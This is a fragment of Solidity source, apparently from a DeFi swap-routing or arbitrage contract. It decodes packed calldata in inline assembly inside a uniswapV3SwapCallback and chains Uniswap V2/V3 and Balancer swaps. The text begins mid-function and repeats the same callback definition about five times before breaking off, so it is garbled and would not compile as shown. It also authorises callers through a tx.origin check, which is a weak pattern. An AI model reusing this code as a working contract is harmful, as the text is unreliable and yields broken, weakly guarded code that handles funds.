V3Swap(pair3,msg.sender,zeroForOne3,-amount0Delta,data);
}
else{
V3Swap(pair3,msg.sender,zeroForOne3,-amount1Delta,data);
}
}
else if(type2==9) {
assembly {
let third32bytes := calldataload(132)
let fourth32bytes := calldataload(164)
amount3:= and(shr(8,fourth32bytes),0xffffffffffffffffffffff)
pair3 := shr(96,fourth32bytes)
zeroForOne3:=and(fourth32bytes,0xf0)
}
if(zeroForOne2){
V2Swap(pair2,0,amount2,address(this));
}
else{
V2Swap(pair2,amount2,0,address(this));
}
wethTransfer(pair3,amount3);
uint v3In;
if(amount0Delta>0){
v3In=uint(amount0Delta);
}
else{
v3In=uint(amount1Delta);
}
if(zeroForOne3){
V2Swap(pair3,0,v3In,msg.sender);
}
else{
V2Swap(pair3,v3In,0,msg.sender);
}
}
else if(type2==10) {
assembly {
let fourth32bytes := calldataload(164)
amount3:= and(shr(8,fourth32bytes),0xffffffffffffffffffffff)
pair3 := shr(96,fourth32bytes)
zeroForOne3:=and(fourth32bytes,0xf0)
}
if(zeroForOne2){
V2Swap(pair2,0,amount2,pair3);
}
else{
V2Swap(pair2,amount2,0,pair3);
}
if(zeroForOne3){
V2Swap(pair3,0,amount3,address(this));
}
else{
V2Swap(pair3,amount3,0,address(this));
}
uint v3In;
if(amount0Delta>0){
v3In=uint(amount0Delta);
}
else{
v3In=uint(amount1Delta);
}
wethTransfer(msg.sender,v3In);
}
else if(type2==11) {
bytes memory data = new bytes(32);
assembly {
let fourth32bytes := calldataload(164)
mstore(add(data, 32), add(shl(4,shr(4,fourth32bytes)),0x02))
}
int v3In;
if(amount0Delta>0){
v3In=-amount0Delta;
}
else{
v3In=-amount1Delta;
}
V3Swap(pair2,msg.sender,zeroForOne2,v3In,data);
}
else if(type2==12) {
address tokenIn;
address tokenOut;
uint8 type3;
assembly {
let fourth32bytes := calldataload(164)
let fifth32bytes := calldataload(196)
tokenIn:=shr(96,fourth32bytes)
tokenOut:=shr(96,fifth32bytes)
type3:=and(fourth32bytes,0x0f)
}
if(type3==0){
uint balIn;
if(amount0Delta>0){
balIn=uint(-amount1Delta);
}
else{
balIn=uint(-amount0Delta);
}
uint out =BalSwap(pair2,tokenIn,tokenOut,balIn,zeroForOne2);
wethTransfer(msg.sender,out-amount2);
}
else if(type3==1){
uint v3Out;
if(amount0Delta>0){
v3Out=uint(-amount1Delta);
}
else{
v3Out=uint(-amount0Delta);
}
uint out=BalSwap(pair2,tokenIn,tokenOut,amount2,zeroForOne2);
erc20Transfer(tokenOut,msg.sender,out);
}
else{
revert("");
}
}
else{
revert("");
}
}
function uniswapV3SwapCallback(
int256 amount0Delta,
int256 amount1Delta,
bytes calldata _data
) external override {
if( tx.origin != owner)
{
revert("");
}
assembly {
let calldata32bytes := calldataload(132)
pair2 := shr(96,calldata32bytes)
amount2:= and(shr(8,calldata32bytes),0xffffffffffffffffffffff)
type2:=and(calldata32bytes,0x0f)
zeroForOne2:=and(calldata32bytes,0xf0)
}
if(type2==0){
if (zeroForOne2){
wethTransfer(pair2,uint256(-amount0Delta)-amount2);
V2Swap(pair2,0,uint(amount1Delta),msg.sender);
}
else{
wethTransfer(pair2,uint256(-amount1Delta)-amount2);
V2Swap(pair2,uint(amount0Delta),0,msg.sender);
}
}
else if(type2==1) {
if (zeroForOne2){
V2Swap(pair2,0,uint(amount1Delta)+amount2,address(this));
wethTransfer(msg.sender,uint(amount1Delta));
}
else{
V2Swap(pair2,uint(amount0Delta)+amount2,0,address(this));
wethTransfer(msg.sender,uint(amount0Delta));
}
}
else if(type2==2) {
bytes memory data = new bytes(32);
assembly{
let calldata32bytes := calldataload(132)
mstore(add(data, 32), add(shl(4,shr(4,calldata32bytes)),0x03))
}
int v3In;
if(amount0Delta>0){
v3In=-amount0Delta;
}
else{
v3In=-amount1Delta;
}
V3Swap(pair2,msg.sender,zeroForOne2,v3In,data);
}
else if(type2==3) {
wethTransfer(msg.sender,amount2);
}
else if(type2==4) {
assembly {
let calldata32bytes := calldataload(164)
pair3 := shr(96,calldata32bytes)
amount3:= and(shr(8,calldata32bytes),0xffffffffffffffffffffff)
zeroForOne3:=and(calldata32bytes,0xf0)
}
uint v3In;
if(amount0Delta>0){
v3In=uint(amount0Delta);
}
else{
v3In=uint(amount1Delta);
}
wethTransfer(pair2,amount2);
if(zeroForOne2){
V2Swap(pair2,0,amount3,pair3);
}
else{
V2Swap(pair2,amount3,0,pair3);
}
if(zeroForOne3){
V2Swap(pair3,0,v3In,msg.sender);
}
else{
V2Swap(pair3,v3In,0,msg.sender);
}
}
else if(type2==5) {
bytes memory data = new bytes(64);
assembly {
let third32bytes := calldataload(132)
let fourth32bytes := calldataload(164)
mstore(add(data, 32), add(shl(4,shr(4,third32bytes)),0x06))
mstore(add(data, 64), fourth32bytes)
}
if(amount0Delta>0){
V3Swap(pair2,msg.sender,zeroForOne2,-int256(amount0Delta),data);
}
else{
V3Swap(pair2,msg.sender,zeroForOne2,-int256(amount1Delta),data);
}
}
else if(type2==6) {
assembly {
let calldata32bytes := calldataload(164)
pair3 := shr(96,calldata32bytes)
amount3:= and(shr(8,calldata32bytes),0xffffffffffffffffffffff)
zeroForOne3:=and(calldata32bytes,0xf0)
}
wethTransfer(pair3,amount3);
uint v3In;
if(amount0Delta>0){
v3In=uint(amount0Delta);
}
else{
v3In=uint(amount1Delta);
}
if(zeroForOne3){
V2Swap(pair3,0,v3In,msg.sender);
}
else{
V2Swap(pair3,v3In,0,msg.sender);
}
}
else if(type2==7) {
bytes memory data = new bytes(32);
assembly {
let third32bytes := calldataload(132)
mstore(add(data, 32), add(shl(4,shr(4,third32bytes)),0x03))
let fourth32bytes := calldataload(164)
pair3 := shr(96,fourth32bytes)
zeroForOne3:=and(fourth32bytes,0xf0)
}
V3Swap(pair2,pair3,zeroForOne2,int256(amount2),data);
uint v3In;
if(amount0Delta>0){
v3In=uint(amount0Delta);
}
else{
v3In=uint(amount1Delta);
}
if(zeroForOne3){
V2Swap(pair3,0,v3In,msg.sender);
}
else{
V2Swap(pair3,v3In,0,msg.sender);
}
}
else if(type2==8) {
bytes memory data = new bytes(32);
assembly {
let third32bytes := calldataload(132)
let fourth32bytes := calldataload(164)
mstore(add(data, 32), add(shl(4,shr(4,fourth32bytes)),0x03))
pair3 := shr(96,fourth32bytes)
zeroForOne3:=and(fourth32bytes,0xf0)
}
if(zeroForOne2){
V2Swap(pair2,0,amount2,address(this));
}
else{
V2Swap(pair2,amount2,0,address(this));
}
if(amount0Delta>0){
V3Swap(pair3,msg.sender,zeroForOne3,-amount0Delta,data);
}
else{
V3Swap(pair3,msg.sender,zeroForOne3,-amount1Delta,data);
}
}
else if(type2==9) {
assembly {
let third32bytes := calldataload(132)
let fourth32bytes := calldataload(164)
amount3:= and(shr(8,fourth32bytes),0xffffffffffffffffffffff)
pair3 := shr(96,fourth32bytes)
zeroForOne3:=and(fourth32bytes,0xf0)
}
if(zeroForOne2){
V2Swap(pair2,0,amount2,address(this));
}
else{
V2Swap(pair2,amount2,0,address(this));
}
wethTransfer(pair3,amount3);
uint v3In;
if(amount0Delta>0){
v3In=uint(amount0Delta);
}
else{
v3In=uint(amount1Delta);
}
if(zeroForOne3){
V2Swap(pair3,0,v3In,msg.sender);
}
else{
V2Swap(pair3,v3In,0,msg.sender);
}
}
else if(type2==10) {
assembly {
let fourth32bytes := calldataload(164)
amount3:= and(shr(8,fourth32bytes),0xffffffffffffffffffffff)
pair3 := shr(96,fourth32bytes)
zeroForOne3:=and(fourth32bytes,0xf0)
}
if(zeroForOne2){
V2Swap(pair2,0,amount2,pair3);
}
else{
V2Swap(pair2,amount2,0,pair3);
}
if(zeroForOne3){
V2Swap(pair3,0,amount3,address(this));
}
else{
V2Swap(pair3,amount3,0,address(this));
}
uint v3In;
if(amount0Delta>0){
v3In=uint(amount0Delta);
}
else{
v3In=uint(amount1Delta);
}
wethTransfer(msg.sender,v3In);
}
else if(type2==11) {
bytes memory data = new bytes(32);
assembly {
let fourth32bytes := calldataload(164)
mstore(add(data, 32), add(shl(4,shr(4,fourth32bytes)),0x02))
}
int v3In;
if(amount0Delta>0){
v3In=-amount0Delta;
}
else{
v3In=-amount1Delta;
}
V3Swap(pair2,msg.sender,zeroForOne2,v3In,data);
}
else if(type2==12) {
address tokenIn;
address tokenOut;
uint8 type3;
assembly {
let fourth32bytes := calldataload(164)
let fifth32bytes := calldataload(196)
tokenIn:=shr(96,fourth32bytes)
tokenOut:=shr(96,fifth32bytes)
type3:=and(fourth32bytes,0x0f)
}
if(type3==0){
uint balIn;
if(amount0Delta>0){
balIn=uint(-amount1Delta);
}
else{
balIn=uint(-amount0Delta);
}
uint out =BalSwap(pair2,tokenIn,tokenOut,balIn,zeroForOne2);
wethTransfer(msg.sender,out-amount2);
}
else if(type3==1){
uint v3Out;
if(amount0Delta>0){
v3Out=uint(-amount1Delta);
}
else{
v3Out=uint(-amount0Delta);
}
uint out=BalSwap(pair2,tokenIn,tokenOut,amount2,zeroForOne2);
erc20Transfer(tokenOut,msg.sender,out);
}
else{
revert("");
}
}
else{
revert("");
}
}
function uniswapV3SwapCallback(
int256 amount0Delta,
int256 amount1Delta,
bytes calldata _data
) external override {
if( tx.origin != owner)
{
revert("");
}
assembly {
let calldata32bytes := calldataload(132)
pair2 := shr(96,calldata32bytes)
amount2:= and(shr(8,calldata32bytes),0xffffffffffffffffffffff)
type2:=and(calldata32bytes,0x0f)
zeroForOne2:=and(calldata32bytes,0xf0)
}
if(type2==0){
if (zeroForOne2){
wethTransfer(pair2,uint256(-amount0Delta)-amount2);
V2Swap(pair2,0,uint(amount1Delta),msg.sender);
}
else{
wethTransfer(pair2,uint256(-amount1Delta)-amount2);
V2Swap(pair2,uint(amount0Delta),0,msg.sender);
}
}
else if(type2==1) {
if (zeroForOne2){
V2Swap(pair2,0,uint(amount1Delta)+amount2,address(this));
wethTransfer(msg.sender,uint(amount1Delta));
}
else{
V2Swap(pair2,uint(amount0Delta)+amount2,0,address(this));
wethTransfer(msg.sender,uint(amount0Delta));
}
}
else if(type2==2) {
bytes memory data = new bytes(32);
assembly{
let calldata32bytes := calldataload(132)
mstore(add(data, 32), add(shl(4,shr(4,calldata32bytes)),0x03))
}
int v3In;
if(amount0Delta>0){
v3In=-amount0Delta;
}
else{
v3In=-amount1Delta;
}
V3Swap(pair2,msg.sender,zeroForOne2,v3In,data);
}
else if(type2==3) {
wethTransfer(msg.sender,amount2);
}
else if(type2==4) {
assembly {
let calldata32bytes := calldataload(164)
pair3 := shr(96,calldata32bytes)
amount3:= and(shr(8,calldata32bytes),0xffffffffffffffffffffff)
zeroForOne3:=and(calldata32bytes,0xf0)
}
uint v3In;
if(amount0Delta>0){
v3In=uint(amount0Delta);
}
else{
v3In=uint(amount1Delta);
}
wethTransfer(pair2,amount2);
if(zeroForOne2){
V2Swap(pair2,0,amount3,pair3);
}
else{
V2Swap(pair2,amount3,0,pair3);
}
if(zeroForOne3){
V2Swap(pair3,0,v3In,msg.sender);
}
else{
V2Swap(pair3,v3In,0,msg.sender);
}
}
else if(type2==5) {
bytes memory data = new bytes(64);
assembly {
let third32bytes := calldataload(132)
let fourth32bytes := calldataload(164)
mstore(add(data, 32), add(shl(4,shr(4,third32bytes)),0x06))
mstore(add(data, 64), fourth32bytes)
}
if(amount0Delta>0){
V3Swap(pair2,msg.sender,zeroForOne2,-int256(amount0Delta),data);
}
else{
V3Swap(pair2,msg.sender,zeroForOne2,-int256(amount1Delta),data);
}
}
else if(type2==6) {
assembly {
let calldata32bytes := calldataload(164)
pair3 := shr(96,calldata32bytes)
amount3:= and(shr(8,calldata32bytes),0xffffffffffffffffffffff)
zeroForOne3:=and(calldata32bytes,0xf0)
}
wethTransfer(pair3,amount3);
uint v3In;
if(amount0Delta>0){
v3In=uint(amount0Delta);
}
else{
v3In=uint(amount1Delta);
}
if(zeroForOne3){
V2Swap(pair3,0,v3In,msg.sender);
}
else{
V2Swap(pair3,v3In,0,msg.sender);
}
}
else if(type2==7) {
bytes memory data = new bytes(32);
assembly {
let third32bytes := calldataload(132)
mstore(add(data, 32), add(shl(4,shr(4,third32bytes)),0x03))
let fourth32bytes := calldataload(164)
pair3 := shr(96,fourth32bytes)
zeroForOne3:=and(fourth32bytes,0xf0)
}
V3Swap(pair2,pair3,zeroForOne2,int256(amount2),data);
uint v3In;
if(amount0Delta>0){
v3In=uint(amount0Delta);
}
else{
v3In=uint(amount1Delta);
}
if(zeroForOne3){
V2Swap(pair3,0,v3In,msg.sender);
}
else{
V2Swap(pair3,v3In,0,msg.sender);
}
}
else if(type2==8) {
bytes memory data = new bytes(32);
assembly {
let third32bytes := calldataload(132)
let fourth32bytes := calldataload(164)
mstore(add(data, 32), add(shl(4,shr(4,fourth32bytes)),0x03))
pair3 := shr(96,fourth32bytes)
zeroForOne3:=and(fourth32bytes,0xf0)
}
if(zeroForOne2){
V2Swap(pair2,0,amount2,address(this));
}
else{
V2Swap(pair2,amount2,0,address(this));
}
if(amount0Delta>0){
V3Swap(pair3,msg.sender,zeroForOne3,-amount0Delta,data);
}
else{
V3Swap(pair3,msg.sender,zeroForOne3,-amount1Delta,data);
}
}
else if(type2==9) {
assembly {
let third32bytes := calldataload(132)
let fourth32bytes := calldataload(164)
amount3:= and(shr(8,fourth32bytes),0xffffffffffffffffffffff)
pair3 := shr(96,fourth32bytes)
zeroForOne3:=and(fourth32bytes,0xf0)
}
if(zeroForOne2){
V2Swap(pair2,0,amount2,address(this));
}
else{
V2Swap(pair2,amount2,0,address(this));
}
wethTransfer(pair3,amount3);
uint v3In;
if(amount0Delta>0){
v3In=uint(amount0Delta);
}
else{
v3In=uint(amount1Delta);
}
if(zeroForOne3){
V2Swap(pair3,0,v3In,msg.sender);
}
else{
V2Swap(pair3,v3In,0,msg.sender);
}
}
else if(type2==10) {
assembly {
let fourth32bytes := calldataload(164)
amount3:= and(shr(8,fourth32bytes),0xffffffffffffffffffffff)
pair3 := shr(96,fourth32bytes)
zeroForOne3:=and(fourth32bytes,0xf0)
}
if(zeroForOne2){
V2Swap(pair2,0,amount2,pair3);
}
else{
V2Swap(pair2,amount2,0,pair3);
}
if(zeroForOne3){
V2Swap(pair3,0,amount3,address(this));
}
else{
V2Swap(pair3,amount3,0,address(this));
}
uint v3In;
if(amount0Delta>0){
v3In=uint(amount0Delta);
}
else{
v3In=uint(amount1Delta);
}
wethTransfer(msg.sender,v3In);
}
else if(type2==11) {
bytes memory data = new bytes(32);
assembly {
let fourth32bytes := calldataload(164)
mstore(add(data, 32), add(shl(4,shr(4,fourth32bytes)),0x02))
}
int v3In;
if(amount0Delta>0){
v3In=-amount0Delta;
}
else{
v3In=-amount1Delta;
}
V3Swap(pair2,msg.sender,zeroForOne2,v3In,data);
}
else if(type2==12) {
address tokenIn;
address tokenOut;
uint8 type3;
assembly {
let fourth32bytes := calldataload(164)
let fifth32bytes := calldataload(196)
tokenIn:=shr(96,fourth32bytes)
tokenOut:=shr(96,fifth32bytes)
type3:=and(fourth32bytes,0x0f)
}
if(type3==0){
uint balIn;
if(amount0Delta>0){
balIn=uint(-amount1Delta);
}
else{
balIn=uint(-amount0Delta);
}
uint out =BalSwap(pair2,tokenIn,tokenOut,balIn,zeroForOne2);
wethTransfer(msg.sender,out-amount2);
}
else if(type3==1){
uint v3Out;
if(amount0Delta>0){
v3Out=uint(-amount1Delta);
}
else{
v3Out=uint(-amount0Delta);
}
uint out=BalSwap(pair2,tokenIn,tokenOut,amount2,zeroForOne2);
erc20Transfer(tokenOut,msg.sender,out);
}
else{
revert("");
}
}
else{
revert("");
}
}
function uniswapV3SwapCallback(
int256 amount0Delta,
int256 amount1Delta,
bytes calldata _data
) external override {
if( tx.origin != owner)
{
revert("");
}
assembly {
let calldata32bytes := calldataload(132)
pair2 := shr(96,calldata32bytes)
amount2:= and(shr(8,calldata32bytes),0xffffffffffffffffffffff)
type2:=and(calldata32bytes,0x0f)
zeroForOne2:=and(calldata32bytes,0xf0)
}
if(type2==0){
if (zeroForOne2){
wethTransfer(pair2,uint256(-amount0Delta)-amount2);
V2Swap(pair2,0,uint(amount1Delta),msg.sender);
}
else{
wethTransfer(pair2,uint256(-amount1Delta)-amount2);
V2Swap(pair2,uint(amount0Delta),0,msg.sender);
}
}
else if(type2==1) {
if (zeroForOne2){
V2Swap(pair2,0,uint(amount1Delta)+amount2,address(this));
wethTransfer(msg.sender,uint(amount1Delta));
}
else{
V2Swap(pair2,uint(amount0Delta)+amount2,0,address(this));
wethTransfer(msg.sender,uint(amount0Delta));
}
}
else if(type2==2) {
bytes memory data = new bytes(32);
assembly{
let calldata32bytes := calldataload(132)
mstore(add(data, 32), add(shl(4,shr(4,calldata32bytes)),0x03))
}
int v3In;
if(amount0Delta>0){
v3In=-amount0Delta;
}
else{
v3In=-amount1Delta;
}
V3Swap(pair2,msg.sender,zeroForOne2,v3In,data);
}
else if(type2==3) {
wethTransfer(msg.sender,amount2);
}
else if(type2==4) {
assembly {
let calldata32bytes := calldataload(164)
pair3 := shr(96,calldata32bytes)
amount3:= and(shr(8,calldata32bytes),0xffffffffffffffffffffff)
zeroForOne3:=and(calldata32bytes,0xf0)
}
uint v3In;
if(amount0Delta>0){
v3In=uint(amount0Delta);
}
else{
v3In=uint(amount1Delta);
}
wethTransfer(pair2,amount2);
if(zeroForOne2){
V2Swap(pair2,0,amount3,pair3);
}
else{
V2Swap(pair2,amount3,0,pair3);
}
if(zeroForOne3){
V2Swap(pair3,0,v3In,msg.sender);
}
else{
V2Swap(pair3,v3In,0,msg.sender);
}
}
else if(type2==5) {
bytes memory data = new bytes(64);
assembly {
let third32bytes := calldataload(132)
let fourth32bytes := calldataload(164)
mstore(add(data, 32), add(shl(4,shr(4,third32bytes)),0x06))
mstore(add(data, 64), fourth32bytes)
}
if(amount0Delta>0){
V3Swap(pair2,msg.sender,zeroForOne2,-int256(amount0Delta),data);
}
else{
V3Swap(pair2,msg.sender,zeroForOne2,-int256(amount1Delta),data);
}
}
else if(type2==6) {
assembly {
let calldata32bytes := calldataload(164)
pair3 := shr(96,calldata32bytes)
amount3:= and(shr(8,calldata32bytes),0xffffffffffffffffffffff)
zeroForOne3:=and(calldata32bytes,0xf0)
}
wethTransfer(pair3,amount3);
uint v3In;
if(amount0Delta>0){
v3In=uint(amount0Delta);
}
else{
v3In=uint(amount1Delta);
}
if(zeroForOne3){
V2Swap(pair3,0,v3In,msg.sender);
}
else{
V2Swap(pair3,v3In,0,msg.sender);
}
}
else if(type2==7) {
bytes memory data = new bytes(32);
assembly {
let third32bytes := calldataload(132)
mstore(add(data, 32), add(shl(4,shr(4,third32bytes)),0x03))
let fourth32bytes := calldataload(164)
pair3 := shr(96,fourth32bytes)
zeroForOne3:=and(fourth32bytes,0xf0)
}
V3Swap(pair2,pair3,zeroForOne2,int256(amount2),data);
uint v3In;
if(amount0Delta>0){
v3In=uint(amount0Delta);
}
else{
v3In=uint(amount1Delta);
}
if(zeroForOne3){
V2Swap(pair3,0,v3In,msg.sender);
}
else{
V2Swap(pair3,v3In,0,msg.sender);
}
}
else if(type2==8) {
bytes memory data = new bytes(32);
assembly {
let third32bytes := calldataload(132)
let fourth32bytes := calldataload(164)
mstore(add(data, 32), add(shl(4,shr(4,fourth32bytes)),0x03))
pair3 := shr(96,fourth32bytes)
zeroForOne3:=and(fourth32bytes,0xf0)
}
if(zeroForOne2){
V2Swap(pair2,0,amount2,address(this));
}
else{
V2Swap(pair2,amount2,0,address(this));
}
if(amount0Delta>0){
V3Swap(pair3,msg.sender,zeroForOne3,-amount0Delta,data);
}
else{
V3Swap(pair3,msg.sender,zeroForOne3,-amount1Delta,data);
}
}
else if(type2==9) {
assembly {
let third32bytes := calldataload(132)
let fourth32bytes := calldataload(164)
amount3:= and(shr(8,fourth32bytes),0xffffffffffffffffffffff)
pair3 := shr(96,fourth32bytes)
zeroForOne3:=and(fourth32bytes,0xf0)
}
if(zeroForOne2){
V2Swap(pair2,0,amount2,address(this));
}
else{
V2Swap(pair2,amount2,0,address(this));
}
wethTransfer(pair3,amount3);
uint v3In;
if(amount0Delta>0){
v3In=uint(amount0Delta);
}
else{
v3In=uint(amount1Delta);
}
if(zeroForOne3){
V2Swap(pair3,0,v3In,msg.sender);
}
else{
V2Swap(pair3,v3In,0,msg.sender);
}
}
else if(type2==10) {
assembly {
let fourth32bytes := calldataload(164)
amount3:= and(shr(8,fourth32bytes),0xffffffffffffffffffffff)
pair3 := shr(96,fourth32bytes)
zeroForOne3:=and(fourth32bytes,0xf0)
}
if(zeroForOne2){
V2Swap(pair2,0,amount2,pair3);
}
else{
V2Swap(pair2,amount2,0,pair3);
}
if(zeroForOne3){
V2Swap(pair3,0,amount3,address(this));
}
else{
V2Swap(pair3,amount3,0,address(this));
}
uint v3In;
if(amount0Delta>0){
v3In=uint(amount0Delta);
}
else{
v3In=uint(amount1Delta);
}
wethTransfer(msg.sender,v3In);
}
else if(type2==11) {
bytes memory data = new bytes(32);
assembly {
let fourth32bytes := calldataload(164)
mstore(add(data, 32), add(shl(4,shr(4,fourth32bytes)),0x02))
}
int v3In;
if(amount0Delta>0){
v3In=-amount0Delta;
}
else{
v3In=-amount1Delta;
}
V3Swap(pair2,msg.sender,zeroForOne2,v3In,data);
}
else if(type2==12) {
address tokenIn;
address tokenOut;
uint8 type3;
assembly {
let fourth32bytes := calldataload(164)
let fifth32bytes := calldataload(196)
tokenIn:=shr(96,fourth32bytes)
tokenOut:=shr(96,fifth32bytes)
type3:=and(fourth32bytes,0x0f)
}
if(type3==0){
uint balIn;
if(amount0Delta>0){
balIn=uint(-amount1Delta);
}
else{
balIn=uint(-amount0Delta);
}
uint out =BalSwap(pair2,tokenIn,tokenOut,balIn,zeroForOne2);
wethTransfer(msg.sender,out-amount2);
}
else if(type3==1){
uint v3Out;
if(amount0Delta>0){
v3Out=uint(-amount1Delta);
}
else{
v3Out=uint(-amount0Delta);
}
uint out=BalSwap(pair2,tokenIn,tokenOut,amount2,zeroForOne2);
erc20Transfer(tokenOut,msg.sender,out);
}
else{
revert("");
}
}
else{
revert("");
}
}
function uniswapV3SwapCallback(
int256 amount0Delta,
int256 amount1Delta,
bytes calldata _data
) external override {
if( tx.origin != owner)
{
revert("");
}
assembly {
let calldata32bytes := calldataload(132)
pair2 := shr(96,calldata32bytes)
amount2:= and(shr(8,calldata32bytes),0xffffffffffffffffffffff)
type2:=and(calldata32bytes,0x0f)
zeroForOne2:=and(calldata32bytes,0xf0)
}
if(type2==0){
if (zeroForOne2){
wethTransfer(pair2,uint256(-amount0Delta)-amount2);
V2Swap(pair2,0,uint(amount1Delta),msg.sender);
}
else{
wethTransfer(pair2,uint256(-amount1Delta)-amount2);
V2Swap(pair2,uint(amount0Delta),0,msg.sender);
}
}
else if(type2==1) {
if (zeroForOne2){
V2Swap(pair2,0,uint(amount1Delta)+amount2,address(this));
wethTransfer(msg.sender,uint(amount1Delta));
}
else{
V2Swap(pair2,uint(amount0Delta)+amount2,0,address(this));
wethTransfer(msg.sender,uint(amount0Delta));
}
}
else if(type2==2) {
bytes memory data = new bytes(32);
assembly{
let calldata32bytes := calldataload(132)
mstore(add(data, 32), add(shl(4,shr(4,calldata32bytes)),0x03))
}
int v3In;
if(amount0Delta>0){
v3In=-amount0Delta;
}
else{
v3In=-amount1Delta;
}
V3Swap(pair2,msg.sender,zeroForOne2,v3In,data);
}
else if(type2==3) {
wethTransfer(msg.sender,amount2);
}
else if(type2==4) {
assembly {
let calldata32bytes := calldataload(164)
pair3 := shr(96,calldata32bytes)
amount3:= and(shr(8,calldata32bytes),0xffffffffffffffffffffff)
zeroForOne3:=and(calldata32bytes,0xf0)
}
uint v3In;
if(amount0Delta>0){
v3In=uint(amount0Delta);
}
else{
v3In=uint(amount1Delta);
}
wethTransfer(pair2,amount2);
if(zeroForOne2){
V2Swap(pair2,0,amount3,pair3);
}
else{
V2Swap(pair2,amount3,0,pair3);
}
if(zeroForOne3){
V2Swap(pair3,0,v3In,msg.sender);
}
else{
V2Swap(pair3,v3In,0,msg.sender);
}
}
else if(type2==5) {
bytes memory data = new bytes(64);
assembly {
let third32bytes := calldataload(132)
let fourth32bytes := calldataload(164)
mstore(add(data, 32), add(shl(4,shr(4,third32bytes)),0x06))
mstore(add(data, 64), fourth32bytes)
}
if(amount0Delta>0){
V3Swap(pair2,msg.sender,zeroForOne2,-int256(amount0Delta),data);
}
else{
V3Swap(pair2,msg.sender,zeroForOne2,-int256(amount1Delta),data);
}
}
else if(type2==6) {
assembly {
let calldata32bytes := calldataload(164)
pair3 := shr(96,calldata32bytes)
amount3:= and(shr(8,calldata32bytes),0xffffffffffffffffffffff)
zeroForOne3:=and(calldata32bytes,0xf0)
}
wethTransfer(pair3,amount3);
uint v3In;
if(amount0Delta>0){
v3In=uint(amount0Delta);
}
else{
v3In=uint(amount1Delta);
}
if(zeroForOne3){
V2Swap(pair3,0,v3In,msg.sender);
}
else{
V2Swap(pair3,v3In,0,msg.sender);
}
}
else if(type2==7) {
bytes memory data = new bytes(32);
assembly {
let third32bytes := calldataload(132)
mstore(add(data, 32), add(shl(4,shr(4,third32bytes)),0x03))
let fourth32bytes := calldataload(164)
pair3 := shr(96,fourth32bytes)
zeroForOne3:=and(fourth32bytes,0xf0)
}
V3Swap(pair2,pair3,zeroForOne2,int256(amount2),data);
uint v3In;
if(amount0Delta>0){
v3In=uint(amount0Delta);
}
else{
v3In=uint(amount1Delta);
}
if(zeroForOne3){
V2Swap(pair3,0,v3In,msg.sender);
}
else{
V2Swap(pair3,v3In,0,msg.sender);
}
}
else if(type2==8) {
bytes memory data = new bytes(32);
assembly {
let third32bytes := calldataload(132)
let fourth32bytes := calldataload(164)
mstore(add(data, 32), add(shl(4,shr(4,fourth32bytes)),0x03))
pair3 := shr(96,fourth32bytes)
zeroForOne3:=and(fourth32bytes,0xf0)
}
if(zeroForOne2){
V2Swap(pair2,0,amount2,address(this));
}
else{
V2Swap(pair2,amount2,0,address(this));
}
if(amount0Delta>0){
V3Swap(pair3,msg.sender,zeroForOne3,-amount0Delta,data);
}
else{
V3Swap(pair3,msg.sender,zeroForOne3,-amount1Delta,data);
}
}
else if(type2==9) {
assembly {
let third32bytes := calldataload(132)
let fourth32bytes := calldataload(164)
amount3:= and(shr(8,fourth32bytes),0xffffffffffffffffffffff)
pair3 := shr(96,fourth32bytes)
zeroForOne3:=and(fourth32bytes,0xf0)
}
if(zeroForOne2){
V2Swap(pair2,0,amount2,address(this));
}
else{
V2Swap(pair2,amount2,0,address(this));
}
wethTransfer(pair3,amount3);
uint v3In;
if(amount0Delta>0){
v3In=uint(amount0Delta);
}
else{
v3In=uint(amount1Delta);
}
if(zeroForOne3){
V2Swap(pair3,0,v3In,msg.sender);
}
else{
V2Swap(pair3,v3In,0,msg.sender);
}
}
else if(type2==10) {
assembly {
let fourth32bytes := calldataload(164)
amount3:= and(shr(8,fourth32bytes),0xffffffffffffffffffffff)
pair3 := shr(96,fourth32bytes)
zeroForOne3:=and(fourth32bytes,0xf0)
}
if(zeroForOne2){
V2Swap(pair2,0,amount2,pair3);
}
else{
V2Swap(pair2,amount2,0,pair3);
}
if(zeroForOne3){
V2Swap(pair3,0,amount3,address(this));
}
else{
V2Swap(pair3,amount3,0,address(this));
}
uint v3In;
if(amount0Delta>0){
v3In=uint(amount0Delta);
}
else{
v3In=uint(amount1Delta);
}
wethTransfer(msg.sender,v3In);
}
else if(type2==11) {
bytes memory data = new bytes(32);
assembly {
let fourth32bytes := calldataload(164)
mstore(add(data, 32), add(shl(4,shr(4,fourth32bytes)),0x02))
}
int v3In;
if(amount0Delta>0){
v3In=-amount0Delta;
}
else{
v3In=-amount1Delta;
}
V3Swap(pair2,msg.sender,zeroForOne2,v3In,data);
}
else if(type2==12) {
address tokenIn;
address tokenOut;
uint8 type3;
assembly {
let fourth32bytes := calldataload(164)
let fifth32bytes := calldataload(196)
tokenIn:=shr(96,fourth32bytes)
tokenOut:=shr(96,fifth32bytes)
type3:=and(fourth32bytes,0x0f)
}
if(type3==0){
uint balIn;
if(amount0Delta>0){
balIn=uint(-amount1Delta);
}
else{
balIn=uint(-amount0Delta);
}
uint out =BalSwap(pair2,tokenIn,tokenOut,balIn,zeroForOne2);
wethTransfer(msg.sender,out-amount2);
}
else if(type3==1){
uint v3Out;
if(amount0Delta>0){
v3Out=uint(-amount1Delta);
}
else{
v3Out=uint(-amount0Delta);
}
uint out=BalSwap(pair2,tokenIn,tokenOut,amount2,zeroForOne2);
erc20Transfer(tokenOut,msg.sender,out);
}
else{
revert("");
}
}
else{
revert("");
}
}
function uniswapV3SwapCallback(
int256 amount0Delta,
int256 amount1Delta,
bytes calldata _data
) external override {
if( tx.origin != owner)
{
revert("");
}
assembly {
let calldata32bytes := calldataload(132)
pair2 := shr(96,calldata32bytes)
amount2:= and(shr(8,calldata32bytes),0xffffffffffffffffffffff)
type2:=and(calldata32bytes,0x0f)
zeroForOne2:=and(calldata32bytes,0xf0)
}
if(type2==0){
if (zeroForOne2){
wethTransfer(pair2,uint256(-amount0Delta)-amount2);
V2Swap(pair2,0,uint(amount1Delta),msg.sender);
}
else{
wethTransfer(pair2,uint256(-amount1Delta)-amount2);
V2Swap(pair2,uint(amount0Delta),0,msg.sender);
}
}
else if(type2==1) {
if (zeroForOne2){
V2Swap(pair2,0,uint(amount1Delta)+amount2,address(this));
wethTransfer(msg.sender,uint(amount1Delta));
}
else{
V2Swap(pair2,uint(amount0Delta)+amount2,0,address(this));
wethTransfer(msg.sender,uint(amount0Delta));
}
}
else if(type2==2) {
bytes memory data = new bytes(32);
assembly{
let calldata32bytes := calldataload(132)
mstore(add(data, 32), add(shl(4,shr(4,calldata32bytes)),0x03))
}
int v3In;
